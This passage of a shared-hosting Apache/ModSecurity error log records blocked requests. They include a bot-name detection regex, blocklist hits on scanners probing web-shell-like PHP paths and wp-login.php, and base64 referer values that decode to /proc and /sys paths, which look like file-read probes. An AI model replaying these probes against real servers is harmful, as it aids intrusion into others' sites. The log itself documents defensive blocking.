spider|360Spider|Semrush|Panscient|crawler\\\\.feedback([+]\\\\S+)?@gmail\\\\.com|MauiBo ..." at REQUEST_HEADERS:User-Agent. [file "/opt/mod_security/hg_rules.conf"] [line "585"] [id "999812"] [msg "Problematic Crawler"] [hostname "buyclenbuterol-online.com"] [uri "/robots.txt"] [unique_id "ai3w18TA7b1mZrmcA-8LlQAAAiM"] [Sat Jun 13 18:07:51.701437 2026] [security2:error] [pid 531797:tid 532011] [client 34.74.242.206:1549] ModSecurity: Warning. Matched phrase "oBot" at REQUEST_HEADERS:User-Agent. [file "/opt/mod_security/hg_rules.conf"] [line "168"] [id "350001"] [msg "BAD BOT - Detected LOGGING"] [data "406"] [hostname "buyclenbuterol-online.com"] [uri "/robots.txt"] [unique_id "ai3w18TA7b1mZrmcA-8LlQAAAiM"] [Sat Jun 13 18:07:51.808567 2026] [security2:error] [pid 531155:tid 531324] [client 34.74.242.206:1551] ModSecurity: Access denied with code 406 (phase 1). Pattern match "ZoominfoBot|NetcraftSurveyAgent|MJ12bot|(?i:BUbiNG)|D(?i:otbot)| oBot/|MegaIndex\\\\.ru|Barkrowler|Spbot|DomainCrawler|Seznam|CCBot|SiteExplorer|OpenLinkProfiler|Sogou web spider|360Spider|Semrush|Panscient|crawler\\\\.feedback([+]\\\\S+)?@gmail\\\\.com|MauiBo ..." at REQUEST_HEADERS:User-Agent. [file "/opt/mod_security/hg_rules.conf"] [line "585"] [id "999812"] [msg "Problematic Crawler"] [hostname "buyclenbuterol-online.com"] [uri "/"] [unique_id "ai3w1ymiP80klyS0NnrnDwAAATE"] [Sat Jun 13 18:07:51.808760 2026] [security2:error] [pid 531155:tid 531324] [client 34.74.242.206:1551] ModSecurity: Warning. Matched phrase "oBot" at REQUEST_HEADERS:User-Agent. [file "/opt/mod_security/hg_rules.conf"] [line "168"] [id "350001"] [msg "BAD BOT - Detected LOGGING"] [data "406"] [hostname "buyclenbuterol-online.com"] [uri "/"] [unique_id "ai3w1ymiP80klyS0NnrnDwAAATE"] [Sat Jun 13 18:07:52.041855 2026] [security2:error] [pid 531797:tid 532126] [client 20.151.217.54:58125] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 54.217.151.20.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "www.reomcawh.wmxone.com"] [uri "/wp-form.php"] [unique_id "ai3w2MTA7b1mZrmcA-8LoAAAApE"] [Sat Jun 13 18:07:52.044543 2026] [security2:error] [pid 531797:tid 531998] [client 191.234.188.123:63847] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 123.188.234.191.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webmail.onemontgomerygreen.org"] [uri "/wp-foter.php"] [unique_id "ai3w2MTA7b1mZrmcA-8LoQAAAhY"] [Sat Jun 13 18:07:52.067241 2026] [access_compat:error] [pid 531797:tid 531984] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://www.homs.co.ke/?p=Ly9wcm9jL2lycS82MA== [Sat Jun 13 18:07:52.067522 2026] [access_compat:error] [pid 531797:tid 531984] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://www.homs.co.ke/?p=Ly9wcm9jL2lycS82MA== [Sat Jun 13 18:07:52.078270 2026] [security2:error] [pid 531797:tid 532096] [client 47.128.99.192:29802] ModSecurity: Access denied with code 406 (phase 1). Pattern match "ZoominfoBot|NetcraftSurveyAgent|MJ12bot|(?i:BUbiNG)|D(?i:otbot)| oBot/|MegaIndex\\\\.ru|Barkrowler|Spbot|DomainCrawler|Seznam|CCBot|SiteExplorer|OpenLinkProfiler|Sogou web spider|360Spider|Semrush|Panscient|crawler\\\\.feedback([+]\\\\S+)?@gmail\\\\.com|MauiBo ..." at REQUEST_HEADERS:User-Agent. [file "/opt/mod_security/hg_rules.conf"] [line "585"] [id "999812"] [msg "Problematic Crawler"] [hostname "taracom.net"] [uri "/robots.txt"] [unique_id "ai3w2MTA7b1mZrmcA-8LowAAAnU"] [Sat Jun 13 18:07:52.144252 2026] [access_compat:error] [pid 531155:tid 531277] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ni9zdWJzeXN0ZW0vaW5wdXQwL2V2ZW50MC9kZXZpY2UvY2FwYWJpbGl0aWVz [Sat Jun 13 18:07:52.144581 2026] [access_compat:error] [pid 531155:tid 531277] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ni9zdWJzeXN0ZW0vaW5wdXQwL2V2ZW50MC9kZXZpY2UvY2FwYWJpbGl0aWVz [Sat Jun 13 18:07:52.225012 2026] [access_compat:error] [pid 531155:tid 531258] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://mail.homs.co.ke/?p=Ly9zeXMva2VybmVsL2lycS8xMg== [Sat Jun 13 18:07:52.225485 2026] [access_compat:error] [pid 531155:tid 531258] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://mail.homs.co.ke/?p=Ly9zeXMva2VybmVsL2lycS8xMg== [Sat Jun 13 18:07:52.228094 2026] [security2:error] [pid 531155:tid 531351] [client 172.171.3.232:18724] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 232.3.171.172.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "cpanel.jesusknowsyourname.org"] [uri "/zeal.php"] [unique_id "ai3w2CmiP80klyS0NnrnGwAAAUw"] [Sat Jun 13 18:07:52.268297 2026] [security2:error] [pid 531797:tid 532091] [client 20.151.217.54:65245] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 54.217.151.20.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "jugglepro.org"] [uri "/atomlib.php"] [unique_id "ai3w2MTA7b1mZrmcA-8LqgAAAnA"] [Sat Jun 13 18:07:52.313559 2026] [security2:error] [pid 531155:tid 531363] [client 191.233.234.186:44741] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 186.234.233.191.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mail.alexandergreatmagic.com"] [uri "/wpconf.php"] [unique_id "ai3w2CmiP80klyS0NnrnHAAAAVg"] [Sat Jun 13 18:07:52.345063 2026] [security2:error] [pid 531797:tid 531927] [remote 45.117.169.86:46900] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 86.169.117.45.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "isesurveys.ca"] [uri "/wp-login.php"] [unique_id "ai3w2MTA7b1mZrmcA-8LrQACPD8"], referer: https://isesurveys.ca/wp-login.php [Sat Jun 13 18:07:52.459484 2026] [security2:error] [pid 531797:tid 531969] [remote 17.241.227.5:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 5.227.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3w2MTA7b1mZrmcA-8LuAACGmg"] [Sat Jun 13 18:07:52.482994 2026] [security2:error] [pid 531797:tid 531990] [remote 20.153.140.50:52770] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 50.140.153.20.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "nelsonfarmstn.com"] [uri "/wp-login.php"] [unique_id "ai3w2MTA7b1mZrmcA-8LvQACgH0"], referer: https://nelsonfarmstn.com/wp-login.php [Sat Jun 13 18:07:52.487022 2026] [security2:error] [pid 531797:tid 532114] [client 31.97.0.137:60816] ModSecurity: Access denied with code 406 (phase 1). Match of "ipMatch 127.0.0.1" against "REMOTE_ADDR" required. [file "/opt/mod_security/hg_rules.conf"] [line "1461"] [id "909116"] [msg "Golang default UA"] [hostname "skeenlawfirm.com"] [uri "/"] [unique_id "ai3w2MTA7b1mZrmcA-8LvgAAAoc"] [Sat Jun 13 18:07:52.514455 2026] [security2:error] [pid 531797:tid 532109] [client 20.151.217.54:58187] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 54.217.151.20.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "www.reomcawh.wmxone.com"] [uri "/x.php"] [unique_id "ai3w2MTA7b1mZrmcA-8LvwAAAoI"] [Sat Jun 13 18:07:52.580740 2026] [security2:error] [pid 531797:tid 532053] [client 216.73.216.241:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 241.216.73.216.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mail.goldensnifferproducts.com"] [uri "/php52/ext/standard/tests/strings/number_format_error.phpt"] [unique_id "ai3w2MTA7b1mZrmcA-8LwwAAAks"] [Sat Jun 13 18:07:52.617939 2026] [access_compat:error] [pid 531155:tid 531226] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ni9ldmVudDUvc3Vic3lzdGVtL2lucHV0Ni9zdWJzeXN0ZW0vbWljZQ== [Sat Jun 13 18:07:52.618348 2026] [access_compat:error] [pid 531155:tid 531226] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ni9ldmVudDUvc3Vic3lzdGVtL2lucHV0Ni9zdWJzeXN0ZW0vbWljZQ== [Sat Jun 13 18:07:52.667411 2026] [security2:error] [pid 531797:tid 532128] [client 148.113.209.179:45224] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 179.209.113.148.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai3w2MTA7b1mZrmcA-8LxgAAApM"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:07:52.691566 2026] [access_compat:error] [pid 531155:tid 531191] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://mail.homs.co.ke/?p=Ly9zeXMva2VybmVsL2lycS8zNg== [Sat Jun 13 18:07:52.691854 2026] [access_compat:error] [pid 531155:tid 531191] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://mail.homs.co.ke/?p=Ly9zeXMva2VybmVsL2lycS8zNg== [Sat Jun 13 18:07:52.770575 2026] [security2:error] [pid 531797:tid 532101] [client 20.151.217.54:58113] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 54.217.151.20.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "www.reomcawh.wmxone.com"] [uri "/invisi.php"] [unique_id "ai3w2MTA7b1mZrmcA-8LyAAAAno"] [Sat Jun 13 18:07:52.888841 2026] [access_compat:error] [pid 531797:tid 531876] [remote 57.141.14.41:58055] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:07:52.889292 2026] [access_compat:error] [pid 531797:tid 531876] [remote 57.141.14.41:58055] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:07:52.896211 2026] [security2:error] [pid 531155:tid 531377] [client 148.113.209.179:45234] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 179.209.113.148.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai3w2CmiP80klyS0NnrnNAAAAWY"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:07:52.991492 2026] [security2:error] [pid 531797:tid 532061] [client 191.234.188.123:33360] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 123.188.234.191.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.popsandlolly.com"] [uri "/bthil.php"] [unique_id "ai3w2MTA7b1mZrmcA-8L1gAAAlM"] [Sat Jun 13 18:07:53.007824 2026] [security2:error] [pid 531155:tid 531158] [remote 17.22.237.94:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 94.237.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3w2CmiP80klyS0NnrnNgABGwI"] [Sat Jun 13 18:07:53.121157 2026] [security2:error] [pid 531155:tid 531199] [remote 17.241.219.137:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 137.219.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3w2SmiP80klyS0NnrnOQABECs"] [Sat Jun 13 18:07:53.167264 2026] [access_compat:error] [pid 531155:tid 531276] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21pY2Uvc3Vic3lzdGVtL2V2ZW50MC9zdWJzeXN0ZW0vaW5wdXQwL3Bvd2Vy [Sat Jun 13 18:07:53.167600 2026] [access_compat:error] [pid 531155:tid 531276] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21pY2Uvc3Vic3lzdGVtL2V2ZW50MC9zdWJzeXN0ZW0vaW5wdXQwL3Bvd2Vy [Sat Jun 13 18:07:53.206701 2026] [access_compat:error] [pid 531155:tid 531157] [remote 57.141.14.91:36490] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:07:53.206984 2026] [access_compat:error] [pid 531155:tid 531157] [remote 57.141.14.91:36490] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:07:53.247243 2026] [access_compat:error] [pid 531155:tid 531165] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://mail.homs.co.ke/?p=Ly9zeXMvZGV2L2NoYXIvMjk6MA== [Sat Jun 13 18:07:53.247533 2026] [access_compat:error] [pid 531155:tid 531165] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://mail.homs.co.ke/?p=Ly9zeXMvZGV2L2NoYXIvMjk6MA== [Sat Jun 13 18:07:53.290120 2026] [access_compat:error] [pid 531797:tid 531960] [remote 57.141.14.39:28768] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:07:53.290394 2026] [access_compat:error] [pid 531797:tid 531960] [remote 57.141.14.39:28768] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:07:53.381314 2026] [access_compat:error] [pid 531155:tid 531250] [remote 57.141.14.51:41674] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:07:53.381595 2026] [access_compat:error] [pid 531155:tid 531250] [remote 57.141.14.51:41674] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:07:53.662455 2026] [security2:error] [pid 531155:tid 531409] [client 172.171.3.232:21902] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 232.3.171.172.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "cpanel.jesusknowsyourname.org"] [uri "/maxro.php"] [unique_id "ai3w2SmiP80klyS0NnrnRgAAAYY"] [Sat Jun 13 18:07:53.680147 2026] [access_compat:error] [pid 531155:tid 531170] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://mail.homs.co.ke/?p=Ly9zeXMvZGV2L2NoYXIvNDo1Mw== [Sat Jun 13 18:07:53.680466 2026] [access_compat:error] [pid 531155:tid 531170] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://mail.homs.co.ke/?p=Ly9zeXMvZGV2L2NoYXIvNDo1Mw== [Sat Jun 13 18:07:53.705058 2026] [security2:error] [pid 531155:tid 531303] [client 145.239.10.137:59603] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 137.10.239.145.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mngroup.com.au"] [uri "/content.php"] [unique_id "ai3w2SmiP80klyS0NnrnSAAAARw"], referer: http://mngroup.com.au/content.php [Sat Jun 13 18:07:53.742730 2026] [security2:error] [pid 531155:tid 531307] [client 191.234.188.123:21142] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 123.188.234.191.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.popsandlolly.com"] [uri "/av.php"] [unique_id "ai3w2SmiP80klyS0NnrnSQAAASA"] [Sat Jun 13 18:07:53.764494 2026] [access_compat:error] [pid 531155:tid 531253] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MC9ldmVudDAvc3Vic3lzdGVtL2lucHV0Ny9ldmVudDYvZGV2aWNlL2lk [Sat Jun 13 18:07:53.764763 2026] [access_compat:error] [pid 531155:tid 531253] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MC9ldmVudDAvc3Vic3lzdGVtL2lucHV0Ny9ldmVudDYvZGV2aWNlL2lk [Sat Jun 13 18:07:53.824556 2026] [access_compat:error] [pid 531797:tid 531917] [remote 57.141.14.31:58606] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:07:53.824839 2026] [access_compat:error] [pid 531797:tid 531917] [remote 57.141.14.31:58606] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:07:53.832169 2026] [security2:error] [pid 531797:tid 531926] [remote 17.22.253.89:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 89.253.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3w2cTA7b1mZrmcA-8L6gACXj4"] [Sat Jun 13 18:07:53.847869 2026] [security2:error] [pid 531155:tid 531286] [client 148.113.209.179:45238] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 179.209.113.148.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai3w2SmiP80klyS0NnrnTQAAAQs"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:07:53.980372 2026] [security2:error] [pid 531155:tid 531379] [client 172.171.3.232:44401] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 232.3.171.172.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mcips.co.uk"] [uri "/bardbdze.php"] [unique_id "ai3w2SmiP80klyS0NnrnTwAAAWg"] [Sat Jun 13 18:07:54.073230 2026] [security2:error] [pid 531797:tid 532002] [client 191.234.188.123:47996] 